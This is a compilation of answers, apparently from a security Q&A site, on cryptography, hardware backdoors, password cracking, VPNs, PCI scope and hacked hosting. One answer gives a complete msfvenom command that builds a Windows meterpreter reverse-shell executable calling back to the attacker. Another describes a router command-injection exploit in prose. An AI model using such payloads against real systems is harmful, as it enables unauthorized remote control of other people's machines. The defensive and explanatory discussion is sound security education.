Your scheme does not protect against an adversary choosing the same SigningKey as an honest party.  Even if that is not a problem, whether or not an adversary could falsely "get credit for"

a plaintext still depends on the details of PKCS#1 v1.5, since it would need to be infeasible

for an adversary to find a different malicious SigningKey for which is likely to accept a

mauled version of a message-signature pair from the honest sender's privateSigningKey.

Similarly, your scheme does not protect against an adversary choosing the same

publicEncryptionKey as an honest party.  Even if those were not a problem, whether or not

your scheme provides authenticity would still depend on the details of PKCS#1 v1.5,

since it would need to be infeasible for an adversary to win the following game:

adversary receives an honestly-generated SigningKey and publicEncryptionKey

adversary outputs a plaintext data an alleged RSA public encryption key maliciousEncryptKey

sessionKey and iV are generated honestly

using maliciousEncryptKey,

encryptedBlock = encryptAsym(sessionKey, iV) + encryptSym(data + sign(data))

adversary wins if and only if plainDataBlock = data + sign(data)

I'm not aware of any "approved" alternatives. However, the majority of a good alternative is:

have encryptSym be some implementation of one-time authenticated encryption

let bracketed lists denote some way to unambiguously indicate all entries of the list

(If all but one of them have known length, then concatenation would work,

otherwise one could use something like prefixfree(x) || prefixfree(y) || z .)

let to_be_signed = [receiver's_name,receiver's_public_keys,data]

let encryptedBlock =

[encryptAsym(receiver's_public_encryption_key,sessionKey),
encryptSym([sender's_name,sender's_public_keys,to_be_signed,sign(to_be_signed)]

omit signatureBlock, and just return encryptedBlock

If there's no need for encryptedBlock to hide sender's_name, then that and

sender's_public_keys can be made associated data instead of being encrypted.

If one is confident in the CCA-security of the public key encryption, then the part of this answer

before this sentence but after the horizontal line will almost work.  (See this answer's last paragraph.)

Otherwise, one should choose distinct equal-length values a and b (the bits 0 and 1

in either order would work fine, but it might be more convenient to let them be whole bytes),

replace to_be_signed with a || [receiver's_name,receiver's_public_keys,data],

and let signatureBlock  =  sign ( b || encryptedBlock )  instead of omitting it.

Note that in this case, signatureBlock will usually be enough to deduce sender's_name,

which means there is usually very little point in having encryptedBlock hide that.

One also needs to make sure the bracketing operation and signature scheme are such that the lengths of their outputs do not leak anything more than necessary about information that should stay confidential

(since encryption can leak the length of the message).  As a sufficient condition, those will hold if

{lengths of list representations depend only on the lengths of the entries and for honestly generated signature key-pairs, lengths of signatures depend only on the lengths of the corresponding messages}.

Also, if you want to allow for multi-receiver messages, then things are significantly trickier than

what I've described in this answer (though for reasons unrelated to the rest of this paragraph).


Parrot is by definition a Penetration Testing oriented OS based on Debian. This basically means that is a distro with a bunch of repos + already installed applications useful for pentesting. On the other hand, we have Tails which is NOT a PT oriented distro, it is instead a privacy/anonymity oriented distro.
With this information, we can see that the main idea of the creators of Parrot was to do a pentesting distro and not a secure one in terms of privacity. therefore I would not recommend you using it if your idea is to preserve privacy. I would use Tails instead.
As another funny example of the security of the penetration testing images was the fact of the old Kali versions which had the root account with default very weak credentials (root:toor). Just because a distro was made to be used on penetration testing it does not mean necessarily that the distro itself is secure.


The code in its current status is not running if $page is a string, so if you can't parse unexpected data, then it's not injectable. Even encoded commands would require the ability to parse more than just numerical data.


backdoors in hardware (ie. intel/amd cpu) possible?

There is no actual evidence of any backdoor and it would be nigh impossible to check anyway, save by "opening" the case and inspecting all the transistors one by one, with an electronic microscope -- there are billions of them, so this is not feasible. Backdoors of that magnitude tend to be revealed by disgruntled insiders, not by external analysis.

However, we can discuss the physical possibility. The articles you link to are confused messes of poorly used terminology, based upon some misunderstanding of about three concepts. These are:

microcode updates;
reflashable firmware;
hardware random number generators.

Microcode is instructions for a CPU-within-the-CPU. This relates to the traditional way CPU were implemented: a number of elementary blocks, which, for each instruction, are activated or not; the microcode describes the "activation sequences". Microcode can be thought as the software implementation of an emulator which interprets the opcodes in RAM that we think of as "machine language". However, in modern CPU, most opcodes are "hardwired" and microcode is used only for complex operations like fsin (computes the sine function on a floating point operand in x86 CPU). This answer contains a much more detailed description of what microcode is and what it can do.

In the CPU, the microcode is stored in ROM but is copied upon boot in a small static RAM element (still within the CPU), which is faster but also updatable. Thus, upon boot, the OS can upload some new microcode into the CPU, and it will be used until next poweroff. OS do that. The microcode format is very specific to each version of each CPU, it is not standard, it is not documented, and it is protected by unspecified cryptographic algorithms, so that a microcode update is, from the point of view of the OS, an opaque blob straight from Intel or AMD.

Microcode opens the possibility of a hidden backdoor. The CPU, by itself, has no network; it runs within the context of the current RAM and hardware and the OS orchestrates all communications. If a backdoor is planted in the machine, it still has to be exploitable from the outside, otherwise it is useless. the story, here, hinges on the opaqueness of the blob: supposedly, the NSA, working with Intel, could craft some specific microcode update which, when uploaded into the CPU, makes it scan the RAM to explore the OS kernel structures and alter them, adding a more common software-based backdoor. This microcode update would then be handed over to Microsoft, to be included in the next Windows update. In that case, Microsoft would be the victim, their OS unwillingly pushing the backdoor code into the CPU.

Such activity is risky, because of the possibility of detection of the runtime manipulation of OS code and structure. It suffices that some amateur somewhere plays with DMA to dump physical RAM into some other device and then uses a debugger to explore the live OS code. Spy agencies, as a rule, abhor risk. Thus, while theoretically possible, I deem the planting of a microcode-powered backdoor rather improbable: not that it cannot be done (it can), but it seems exceedingly hard to do properly. In my opinion, NSA would resort to such games only if easier paths have been closed, and it turns out that they have not. See below.

Firmware updates are actually out of scope of the question. This is not about the CPU or Intel; this is about pushing malicious code into the various Flash chips in the hardware elements which have such chips -- namely, many peripheral but not the CPU itself. Some demonstration called Rakshasa was made and gained some fame, although the implications are rarely well understood or explained. In particular, it does not take any kind of NSA-like political power to make such a virus; quite the contrary: pushing code into reflashable firmwares is open to everybody who could get his own malicious code to run on the machine with sufficient privileges. In that matter, what NSA or Intel could do, some schmuck programmer in Moldavia could do, too.

(I apologize if you are a Moldavian developer and felt offended.)

The yummy part, though, is in the possibility of rigging the PRNG. All crypto-related activities, in particular key generation, ultimately come down to the production of pseudo-alea which should be indistinguishable from pure randomness. Operating systems do that by gathering hardware events such as precise timing (to the nanosecond) of the arrival of hardware interrupts. Hardware interrupts occur for every key stroke, mouse movement, network packet, and so on. There is an assumed "jitter" in the exact timing of these occurrences, which (that's the crucial point) cannot be measured outside of the computer with enough precision, so that's "unknown data" (for the attacker) which can be used to power the PRNG.

Gathering hardware events like that is challenging in some contexts, especially virtual machines in servers, fresh upon boot (since they only have fictitious hardware, they tend to be much more reproducible, leading to a guessable PRNG state). To make things better, CPU vendors now provide hardware RNG which include some specific electrically unstable circuitry (like a Zener diode in reverse): such hardware is integrated in the CPU, accessible from VM, and produces "true randomness" with an acceptable rate.

Internally, the random events from the randomness-generating circuitry is first post-processed in a specific circuit which turns the physical measures into a sequence of bits which can be handed to the OS (which will then use hash functions to obtain a seed for its PRNG). It is conceivable that the post-processing stage be modified so that:

the hardware RNG will look random, and be indistinguishable from true randomness;
unless you know some secret "key" also embedded in the circuit, which would allow to unravel the system and rebuild the random events;
and even if the circuit was completely reverse-engineered, it could still look like a perfectly honest mistake, not a deliberate rigging.

So this would give a "backdoor" which leaves no trace (no need of microcode updates to push through the OS updates), is not detectable from the outside, and even comes with plausible deniability. Practical implementation would be a kind-of hash function which "unfortunately" includes a carry-propagation bug which reduces the internal state to something like 50 bits or so, thus within range of exhaustive search. The reference implementation of bcrypt had such a bug, and nobody saw it for several years, despite the implementation being software and opensource (!), and yet nobody supposed that the bcrypt author did it on purpose.

If I were the NSA or some other similar agency, and I wanted a backdoor in every computer on the planet, I would do it through the hardware RNG. This is the low-risk path.


UK online bank card reader identification entropy

The protocol is discussed in Optimised to Fail:
Card Readers for Online Banking - Drimer, Murdoch and Anderson 2009

The paper shows images of readers from Natwest & Barclays as well as mentioning HBOS. Visually they are also identical to readers used by Nationwide, Coop and i'm sure others. As far as I am aware these devices have not changed since 2009 - I have one from back then that still works.

The bit filter seems to vary based on the bank. The first few bits seem to be the "Cryptogram Identification Data(CID) type code" which i imagine would be constant accross transactions. The next few bits (the number of which vary) seem to come from the "application transaction counter (ATC)" - which you would expect to increment with each transaction. I expect this is where the large increment you see comes from.

The Issuer Application Data is also not a source of entropy.

This leaves the "Application Cryptogram (AC)". This is a MAC (a form of hash - usually 3DES CBC) involving a session key on the card. It looks like 10-20 bits of this are taken which would be the primary source of entropy.


There are two copies of the header data, not just the JSON but also the preceding binary header. This is very common in storage formats. The reason is resilience against failures while writing the header data, for example a power loss. If updating one of the copies of the header fails, the other copy is still valid. When the driver mounts the volume, it reads both copies, and picks the most recent one if both are valid.

In the case of LUKS2, see the LUKS2 on-disk format specification for details. In §2 “LUKS2 On-Disk Format”:

  The binary and JSON areas are stored twice on the device (primary and
  secondary header) and under normal circumstances contain same functional
  metadata.

See §4.5 “Metadata Recovery” for what a LUKS2 driver does when mounting a volume where the headers have different content. The format specification doesn't mandate a particular procedure to update the header, so while a header update is in progress, either the first copy or the second copy may be the most recent one. The most recent copy (assuming both are in a valid state) is the one whose seqid field is larger. The seqid field is at byte offsets 16..23 in the binary header (see §2.1 ”Binary Header“). In the example you posted, the two copies are identical (as expected in normal operation), both at seqid=3.


Does a leaked LastPass hash enable the attacker to retrieve encrypted passwords (ciphertexts)?

Assuming that, at some point after the breach, LastPass would have provided password databases to anyone who only knew an account's username and password, regardless of which computer they connected from, then the answer is basically "yes, it's possible".

Under those conditions, if an attacker was able to crack a user's master password and log in to that user's LastPass account before LastPass changed their security, a user's password database could certainly have been compromised.

However, that window of time was (presumably) small. With proper security practices in place regarding the hashing & storage of master passwords, it would be generally unlikely that anyone with a strong master password would have had their account compromised within that window. Accounts with extremely weak and/or common master passwords may have had their hashes cracked, but anyone else would probably be "safe".

That said, it is even still very possible that some users may have their accounts broken into even with the new security measures. LastPass is falling back to e-mail verification for new systems that access an account. If a user's master password is cracked, and that same password is all that protects their e-mail account, then it would be fairly trivial for an attacker to work around the new security measure.


HTTP Digest Authentication: Does the server store plaintext passwords?

It depends on the implementation.  Digest authentication is just an authentication mechanism for communicating the credentials.  The server will likely receive the plaintext password when the password is initially set, but can choose what it wants to do with it based on implementation.  It could store it reversibly encrypted (effectively plain-text) and compare to the hash calculated on both sides (insecure), or it could hash the hash of the input from the user and verify it matches a stored hash that is similarly hashed with the nonce depending on how the server is storing the password.
For a windows server, it will depend on if the domain controller that is backing it has reversible passwords turned on or not.


Does anybody know if CentOS have official support for OVAL definitions?

OVAL has transitioned to the Center for Internet Security (CIS) https://oval.cisecurity.org/ . The MITRE OVAL website is in "Archive" status.

Have a look here https://oval.cisecurity.org/repository/download , there you'll find CentOS 7


Using HTTPS, can the target domain be seen?

You can block by IP and by domain name. If the domain uses different IP addresses, and you block only one IP, the site will keep working with the other IP addresses. If you block the domain, and the site works by opening the IP address in the browser, it will keep working as well.

You can block domain names and IP addresses by port number. So you can block 443, and HTTPS is blocked for that domain, or IP, etc.

The router can see the domain when using HTTPS, but not the path and query.


Generate a PGP key with  more than 4096 bits?

Yes, though some source code twiddling may be needed, you can generate 8,192 bit keys. In fact, I've seen some instances of 16,384 bit keys generated courtesy of the "Cyber Knights Templar (CKT)" builds of PGP "back in the day."

This blog post gives you an idea of where to look in the GnuPG source to bump that limit.

There are no different legal encumbrances to key sizes larger than 4,096 than there are to 4,096 bit keys. Just know that since there aren't a lot of keys larger than 4,096 bits floating around, the software of others might not work with them. I'm a bit curious to look into that now.


Unknown Google Account Signed into Browser

It looks like Google (owner of Youtube) creates brand accounts tied to pages.plusgoogle.com domain if you change a name on your YouTube channel. If you own a Youtube channel, that's where it probably came from. More information here: https://support.google.com/youtube/answer/9367690?hl=en


Is generating keys on a remote computer unsecure?

I believe what is discouraged generating a key for use on a local machine remotely. The situation you outlined is secure (assuming machine A and B are both trusted machines) if you're simply generating keys on machine B (and keeping them on machine B!) for use on machine B to connect to machine C.


Upgrade a ncat bind shell to meterpreter

You can generate such an exe with msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe

That's it.


Is HTTPS secure over public Wi-Fi with an expired certificate?

So you were redirected to a captive portal page that had an expired certificate.

Theoretically this puts in risk only the data you transfer over this particular connection, ie. accepting the rules and eventually your personal or payment data if you had to provide any. In fact the captive portal did not have to use https connection at all and you wouldn't probably notice it.

It does not introduce additional risk to the fact that you are already using a public, potentially highly insecure network with all its consequences.

Mind that you were on the insecure network from the moment you established the connection, before you even opened a browser and were redirected to the portal.


how to check which data can be read from you?

Assuming you don't use any particular browser and stick to some of the popular ones (such as Google Chrome or Apple Safari) you tell to the Internet a lot of things, at least the following,

IP: assigned to you by your ISP and so linked to the ISP's subscriber's service
Browsing behavior: to the browser's vendor, possibly some details as well to the OS vendor
Tracking details: to the website you are visiting (cookies), to invisible (and embedded) tracking software, to the advertisement software that allows for these in the website you may be visiting, to other third parties that may be providing some service for the website or your browsing (Adobe Flash...)
Browser fingerprinting: you would be surprised how unique it is to you (could be in the previous category of tracking, but it is worth its own category)

Moreover, there is the part of your personal information, anything you give can be used to track you. Although in some cases it is necessary, such as logging in some site to uniquely identify you.

As said by @J.A.K. it is about linking information, but there is the part of those who know you and provide details about you, something that you have little to zero control, and this can also be used to track you and eventually identify you as well (think of someone mentioning a nickname you use in some website that you registered).

@Alpha3031 pointed at a couple of interesting test sites of such browser fingerprinting and tracking within a site.

You may want to use TOR and browser the web via the TOR browser (https://www.torproject.org/projects/torbrowser.html.en). It will reduce your footprint at the expense of a slower browsing, and possibly degraded user experience if you are really committed to minimise any leak of information of your browsing habits.


Are IPs and domains in malwaredomainlist.com compromised?

“Immortal” Malware Domains are those which were identified as
  malicious anywhere between 90 and 360 days ago. but according to
  google safebrowsing, are still actively involved in badness. Some of
  these domains have been on the DNS-BH List for YEARS.

This is quoted from the website you mentioned. This means it all depends if what you found is a recent or old news. Also try to navigate that website using Google Safe Browsing (activated by default on Google Chrome, Mozilla Firefox and Apple Safari). If the website is still hosting a malware you will see something like this:

You can not know if only the website is compromised or all the server that hosts it too (in which case the company that owns it should have done the necessary to clean it already, but as mentioned before the infection could last for many reasons).  You can not know because it depends on the way the attack was done and the security architecture of the hosting company (server).

Also, one thing to know is that lot of websites are blacklisted not because they host themselves badware but they simply redirect to other compromised websites.

You may also check if the domain is infected on this powerful service.

Before hiring that domain, better to contact the company first and talk to them about this issue.


Is SESSION is safe for transferring encrypted email and password in PHP

The $_SESSION variable in PHP is a temporary block of memory assigned to each specific user separately. Its purpose is not to be secure, it is meant to store session information.

If you are thinking of using it to store long lasting data, or data that needs to comply with the CIA triad I suggest you look into something else. There are variables in PHP's config related to garbage collection that may affect the life cycle of your session data, but most importantly, all session data is stored in the /tmp folder (unless configured otherwise), so if an attacker gains access to the file system they will be able to fetch all content from the $_SESSION variable of every user.

You may consider instead, storing an encrypted version of everything sensitive, as explained here

Another thing to consider is to override the default way of handling $_SESSION, in PHP you can define your own session handling functions. With this you may store your sessions in a remote database for example, adding an extra layer of security. Of course if your file system is compromised the log in credentials to that database most likely will be compromised as well, but at least its an extra layer of security.


Does a VPN utilizing PPTP and MS-CHAPv2 without encryption pose a risk to security?

It is a security risk, as Point-to-Point Tunneling Protocol (PPTP) is obsolete with many well known security issues.
Thorough explanations from Bruce Schneier's research:

Cryptanalysis of Microsoft’s Point-to-Point
Tunneling Protocol (PPTP)
Cryptanalysis of Microsoft’s PPTP
Authentication Extensions (MS-CHAPv2)

Easier to digest:

Olivia Scott: The PPTP VPN protocol: Is it safe?
David Wibergh: PPTP has become obsolete
Microsoft says don't use PPTP and MS-CHAP


Why is password hashing considered so important?

If so, then why is such an emphasis put on building secure password databases, instead of secure systems that would prevent unauthorized access to important user information?

Because this is a really difficult thing to do. There is no way to guarantee that your system is 100% hack-proof. In fact, if you make such a claim on Reddit your site will probably be compromised within an hour.

There is a commonly used term in security called Defence-in-depth. A compromised password database does not only affect your application. Most people will use the same username and password combination for multiple websites. This makes it trivial for an attacker that has compromised a single password database to gain access to multiple services that a user uses. This is why you often see recommendations by websites that have been compromised for the user's to change their passwords on all their accounts.

Even if you only consider your application to be important, there are many things an attacker can do if he has the plaintext passwords of your users. It is difficult for an attacker to directly modify database values without detection. However, with a compromised plaintext password, he can simply log into a user account and make the changes. This is very difficult to detect.


Does man in the middle require physical access to the network infrastructure?

Not necessarily.

There are numerous attack vectors that can expose you to a man-in-the-middle-attack in this instance:

A Rogue Access Point.  Someone impersonates your AP and forwards the traffic on to the AP, thus allowing them to perform a man in the middle attack on your network traffic.
DNS-based attack (as pointed out by schroeder's comment):  What DNS servers are you using?  If those DNS servers are compromised, they can redirect you to a man in the middle attack.    If you're using your local router as a DNS server, it could be compromised to point to malicious DNS servers, among other methods.  If your local computer is compromised with malware etc, it could be pointing to malicious DNS servers (although int his case a man in the middle attack might be superfluous, since they're already in your computer)
The other end of the connection.  If the endpoint network you're connecting to has been compromised, the man in the middle attack can be conducted from the network on the other end.  This would be a less realistic issue in the case of large sites, but for personally-operated servers/sites this may be a viable attack vector.

But yes, as you point out there is no way for a random entity on the internet, without access to a privileged position like an Internet Exchange (IX) or an ISP, to carry out a man in the middle attack at whim.  They would typically have to compromise, somehow, the local network on either end of the connection to launch such an attack.


What is the best practice for resetting multi-factor when a user requests to recover their password?

I would not make that assumption as it would undermine the security of having a second factor to a certain degree. A malicious factor who manages to reset a user's password (such as by exploiting a vulnerability in the password recovery flow) will then be able to take over the account by resetting MFA as well.

The password recovery flow should be separate to the MFA recovery flow by using some form of out-of-band verification such as sending a password reset link within a "forgotten password email" containing a randomly generated and unique token that allows the user to reset the password only.

The MFA recovery flow should work in a different manner. If you are offering TOTP only, I suggest offering a fallback method in place such as a list of "backup codes" of valid OTPs that the user needs to keep safe, or otherwise an OTP sent via SMS/phone call with a short expiration time. Otherwise, you will need to offer some other form of out-of-band service for allowing users to verify their personal details so that service provider can proceed with disabling MFA on his/her account.


Limiting VPC subnet access for NAT OpenVPN clients

The routing problem sounds like something you could quickly prove by simply trying it out, although I imagine it will work. The routes pushed to the client are really just suggestions, and don't stop the user from adding other routes. If your server knows how to route the packets and there is nothing else preventing it from doing so, people can likely access VPC-C.
Assuming you have a valid case for the server to be peered with VPC-C at all, the correct solution would be to implement firewall rules on the server that prevent access to the VPC-C subnet from the VPN interface.


Potential issues allowing users to set any URL as web hook

I would worry about giving users an arbitrary endpoint configuration.

It might be an idea to validate the domain ahead of time.

Example:
goodguy.com signs up, send an email to admin@goodguy.com to perform the domain validation, or have them set up a txt DNS record you can query to validate there ownership of the domain.

All the other measures are a must as well, rate limiting, sanitisation etc but you really should validate the user has the right to be sending automated requests to the domain.

  is there any potential malicious use cases stemming from a user triggering POSTs from my API?

A couple of the top of my head:

Very slow brute force attack, rate limiting would not catch this
Multiple account sign up, DOS attack, i.e 1000 fake users sign up and all fire a complex post request somewhere
Using your service as a mask for malicious requests, i.e I send a bunch of malicious payloads from a server I control while simultaneously spamming the same target from your server, this puts your server IP in the victims logs along with me


The requirements of gathering information data without any limits?

The question very broadly asks about "information gathering" in general. Only, there are lot of different sources for information with different amount of detail and different ways to get these information.

Sometimes all is needed is to combine public information in an intelligent way (e.g. monitor activity on social networks), sometimes hacking of devices like phone or computer helps, sometimes service providers will provide the data after some court order or similar. Thus, it depends on the kind, source and required detail of data if "enough knowledge" is sufficient or of "certain accessibility" is needed which ordinary citizens don't have.

And even if some information gathering requires "certain accessibility"  it might be possible for an ordinary citizen with enough money to pay knowledgeable criminals or bribe the right persons in order to get access to the information of interest.


Username and password stored under form data in Chrome Dev Tools

The developer tools temporarily holds all the data both sent and received for a given page load. This includes everything: passwords, session keys, uploads, downloads. Everything. It also can capture Javascript activity, window draw events, and pretty much anything that is interesting or useful to developers.

If you're worried about it, this is trivial to prevent: don't open the developer tools.

If the tools aren't open during the actual request, then no data will be captured. Opening up the developer tools after the page is loaded gives you an empty trace and the warning, "No requests captured."


How to secure a price passed to a payment gateway on client?

This is the reason that Paypal has the IPN.  One of the values sent in the IPN message from Paypal to your server is the transaction amount.  If the client were to manipulate the transaction amount the way that you described, you would be able to detect this in your IPN listener script, and cancel the order.  See https://developer.paypal.com/docs/api-basics/notifications/ipn/IPNImplementation/ for more info.


This document may help you: http://www.ico.org.uk/for_organisations/guidance_index/~/media/documents/library/Data_Protection/Practical_application/cloud_computing_guidance_for_organisations.ashx

I've only skimmed it, and a while ago, but I remember an important principle was having contractual agreements in place with your cloud provider.


After searching all day and digging through a few thousand more or less irrelevant posts in several user forums and a site which presumably "tests" for vulnerability (the telnet transcript however doesn't show anything but a somewhat broken HTML page), I found an actual exploit site.

Turns out that as usual the publicly available information was deceptive.

What is it?

The exploit, without too explicit details, is a combined XSRF / injection attack, and a sophistication of an attack that has been known since at least early 2009:

The router's web interface, which is accessible on the LAN (and optionally also remotely), has a localized user interface.
The web interface, which lets you change settings and run some commands, is a very obvious attack vector, which can be (or so you would think!) thwarted by setting a password.
The exploit works because the localization code does not verify its parameters. Localization, however, includes the login page, so the exploit will run before you even need to authenticate. Setting a password will therefore not prevent the attack.
This is the one spectacular new feature of the present exploit.
The router will pass the requested and unverified interface language to an utility which runs as root (... and executes its parameters in a shell).
Once that fact is known, the exploit becomes very obvious: Select a user interface language followed by a separator and an any shell commands which you wish to execute. This is a very typical injection attack (much like the more widely known SQL injection attacks).
Typically this would be used to enable remote access and upload the passwords/config file to another server via FTP, or download a dialer, or similar.
No "malicious code" per se is needed on the attacking website. The attack happens simply by providing an URL (for an image or such) which points to the router's default network name (or its emergency IP address) and contains the commands to execute as POST variables.
In principle, this could be done on any otherwise harmless site via an ad banner, even without the site owner knowing.
The user's browser tries to open the URL and thus runs the code on the router.

What to do about it?

Apart from the obvious thing, updating the firmware (hopefully a month ago already!), one should have a browser extension installed that prevents suspicious cross-site request/scripting, such as NoScript or RequestPolicy. This is something that everyone should have anyway.
Also, blocking ad banners is a definite consideration, if one doesn't already do that anyway.

What about Question 2?

Since it is not a router vulnerability per se (that is, a bug in the network stack), but merely an exploit of a broken user interface (which incidentially runs on the router), other Linux systems which don't have this interface, are not affected.


How does hashcat figure out the SHA CRYPT ROUNDS on a Linux password

Edit: I saw that you found your answer, but I'll add it here for completeness sake. (And I already had this written down).

Hashcat doesn't guess the # of rounds, and the amount of rounds specified in your /etc/login.defs isn't properly applied.
I took an example from my Linux box:

$6$elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

This is the same as:

$6$rounds=5000&elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

If the amount of rounds was properly set, you would see a different number instead of 5000 in the hash.
Linux
On my box running Kali Linux I was able to specify the number of rounds by going to the /etc/pam.d/common-password and finding the line (line 25 in my case):

password        [success=1 default=ignore]      pam_unix.so obscure sha512

I appended "rounds=1234" to it:

password        [success=1 default=ignore]      pam_unix.so obscure sha512 rounds=1234

saved and created a user:
$> adduser test3
And ended up with this in my /etc/shadow-file:
$>tail --lines=1 /etc/shadow

test3:$6$rounds=1234$SzWcxuIH$YX1QDmE1PG7grJ/4rJ8LkwggmEffoo9vUCuPAhL3x2sBQZJ8n2a2OeHpFEKaWDH2o.NGYwbLFZNabfOQlQuZ21:16627:0:99999:7:::

Hashcat
You can manually specify how many iterations Hashcat should do by appending rounds=[# of iterations] after the signature, e.g:

$6$rounds=5000&elIIOT8d$lXVE7ZxTaBnvyi3kgrVGOpq.I/tQU9CN.G2FgpcjyxovibRB1TjDbk7NFkOwo7ySt.w8BwnacxQ0876/hz6l//

This will, however, be automatically applied if the amount of rounds != 5000, in /etc/shadow


Why is SHA1 considered less secure than often necessary?

I agree with @KanekiDev and would like to highlight that #1 holds even now, let alone in the near future.
According to ArsTechnica, a single person using equipment worth less than 30,000 dollars managed to recover 85% of the passwords leaked in the Linkedin breach in a day. We are talking about millions of SHA-1 hashed passwords found in a single day.

Using a single Sagitta HPC Brutalis packed with eight Nvidia GTX Titan X graphics cards, I managed to recover 85 percent of the passwords on the first day, despite the fact that I was cracking so many passwords so quickly that the whole system slowed to a crawl.
Working with the rest of the Hashcat development team, we managed to reach 88 percent by the end of the third day, and we crossed the 90-percent threshold on the fourth day. This all happened a full two days faster than when working with the first LinkedIn dump, which contained only a small fraction of the number of hashes. On the sixth day, we teamed up with rival password cracking team CynoSure Prime to close out the effort at a solid 98 percent, cracking a total of 173.7 million passwords.

Source
If you think that only researchers can afford that hardware, you're wrong. Think about a team of crackers spending 30,000 dollars on that setup just for finding these passwords. In a week, they find 100 million passwords, which they can sell for $0.01 each. 100 million passwords * $0.01/password= 1 million dollars. That's a pretty good ROI (return on investment), isn't it?
You may say that those were weak passwords. That's probably true, but as @Matthew pointed out,

Unfortunately, most users do pick weak passwords which will appear in dictionaries, so this is a viable attack method.


How to share CSRF token to client application?

Just implement a /token endpoint that provides a CSRF token given a session cookie. Remember, as long as client side JS on a different domain cannot fetch and use this to construct requests (the most client side JS can do is dislpay it in an isolated iframe), CSRF is not possible. Allow the client app to fetch the token via CORS if the domains differ.


Can I guarantee non-repudiation with this authentication protocol?

I think this depends on whether the sender and receiver can both be fully trusted not to reveal or misuse the key.

A secret known by more than one entity is less of a secret.

So to have a guarantee, you would need to fully trust both ends. Which kind of undermines the concept of non-repudiation rather.

I believe that ISO 13888-2 provides some workarounds for the idea of non-repudiation for symmetric key systems, I think it requires trusted 3rd parties to be involved though.

So I think that you can see that non-repudiation is generally rather more robust when using asymmetric keys.


Is it necessary to apply security updates to Docker hosts?

In general it is a good idea to apply any available security patches for a host you're running.  In the case of a Docker host, whilst packages outside of docker and the kernel might not be directly exposed they may come into play if, for example, an attacker gets unprivileged access to the host.

What you can do is look to reduce the number of patches you'll need to apply by reducing the number of packages installed on the host.

If the host literally is just running Docker containers, you could look at something like linuxkit or RancherOS which can create a stripped down base installation.


Windows PFX certificate import: protect private key using virtualization-based security?

Virtualized-Based Security (VBS) uses TPM module to store keys. The key is accessible from within OS, but won't be available if OS is changed. More details on VBS: https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs


Is it a mistake to use a password that has previously been used (by anyone ever)?

The math may be right. One could refine and complicate it as much as desired, but it doesn't really add to the point. So I'll leave it be.

Also, in practice it is easier—and might be faster—to check for any random character password with a fixed length than to check unique passwords from a list. A password list with 243 passwords with an average password length of 8 characters would be about 64 TB in size, if my calculation is correct. This would have to be stored somewhere in close proximity to the processor to be read with the same speed as the processor calculates the hashes.

The conclusion however, is not right: The important question is not if a password has ever been used, but if the password has ever been included in a breach.

If the breached passwords were thereafter publicly disclosed, they are now available on the internet. The passwords are now not just any passwords that have been used, but a very small subset of them. And to make things worse, this subset is used in wordlists by a lot of people around the world to check if they have been reused. So the chance that someone checks a hash against this password is a lot higher than the chance of him or her checking a hash against an unknown password, even if it has been used somewhere.

So I would not use a password that is included in the HIBP database, simply for the reason that those passwords have a higher chance to be included in wordlists.


Is web site in-scope for PCI even though it redirects to a 3rd-party for card transaction?

Yes. You are still in scope, although a lower level of compliance may apply to you. Read the following:

Q2: To whom does the PCI DSS apply?
A: The PCI DSS applies to ANY organization, regardless of size or number of transactions, that accepts, transmits or stores any cardholder data.
Source: To Whom does PCI DSS apply?

You may qualify for one of the less restrictive levels of PCI-DSS.  To find out, check this link: Which SAQ is appropriate for me?
Here is a good reference to get you started on your own compliance: ComplianceGuide.org.


Shared hosting hacked. Should I report this to someone?

Is there any organization (law enforcement, security researchers, etc.) that would be interested to know about the attack, the code used, or any follow-up requests?

The code you posted in the other thread gives the impression of being unique because malware creators use an algorithm to generate a slightly different obfuscation function every time. This prevents it from showing up in Google or from AV software recognising it using a simple string match.

However, the core functionality (which is to take external input and run it through exec()) is incredibly common. I've personally come across of at least a dozen identical cases (and I don't work in security or anything like that) and I imagine there's hundreds of thousands of sites running this code out there at any given time. Your host is probably apathetic because they've already dealt with 10 different instances that day if they're a large host. Law enforcement is probably equally unlikely to be interested.

  possibility that other servers under their control may have been effected

Shared hosting users are usually pretty well isolated from one another. As I mentioned, shared hosting accounts get hacked all the time. Most hosting companies also run off the shelf shared hosting management software – so if the isolation was really broken in their system it would also be broken for other hosts and discovered pretty quickly (although who knows, some hosts might be too lazy to update their software).

  It would be easy to set up a replacement script for "images.php" that would log any requests without executing them. So my question is, is there any reason to do that?

It could be mildly interesting, but it's a pretty safe bet the only thing you'll get are scripts to send viagra spam.

  The hosting company adamantly insists that if it happened at all, the only possible explanation is that my friend's password was compromised (somehow).

It's possible (and perhaps likely). What FTP client does he use? Many FTP clients (cough FileZilla cough) store their passwords in plain text and in a very predictable location. In other words, it's a perfect target for malware on his PC.

It's also possible they sent him a phishing page which looks like his hosting login, it wouldn't be hard to determine his hosting company or email.

There's some chance it was compromised via a vulnerability in the site but this is unlikely if it's just a simple business card site which accepts little or no external input.

The bottom line is, there's a pretty big incentive for malware creators to compromise hosting accounts. Usually they're a pretty easy target and all the spam in the world has to get sent from somewhere!

In terms of cleaning it up, if you've only got a few files then just manually check all of them. Otherwise go by file date-stamp, but it is sometimes possible to alter this.


While multiple vulnerabilities exist in OpenX, there just isn't enough information in this case to tell for certain if your site was hacked or not.

It appears from what you said that the company from whom you bought your domain simply redirected your DNS records to a porn server after you stopped paying. And then when you paid again, they redirected you back. That would indicate that your original site and server was not actually affected at all.


Terminology: authentication vs verification

Let's pretend we ordered some movie tickets online, and the process of later acquiring them involves identification in person at the box office before the event. You will be asked to produce your identification document (ID). That's identification. The box office attendee will then verify your identity by visually inspecting your ID - that's identification verification. This attendee will then check against their database to verify you've purchased those tickets online, and give them to you - that's verification and you end up with an authentication token (in our case - a ticket). You will then produce those tickets before entering the theatre - that's authentication.

So in short, identification is a sub-process (integral part) of identity verification, which is a sub-process (integral part) of verification, which is a sub-process (integral part) of authorisation.

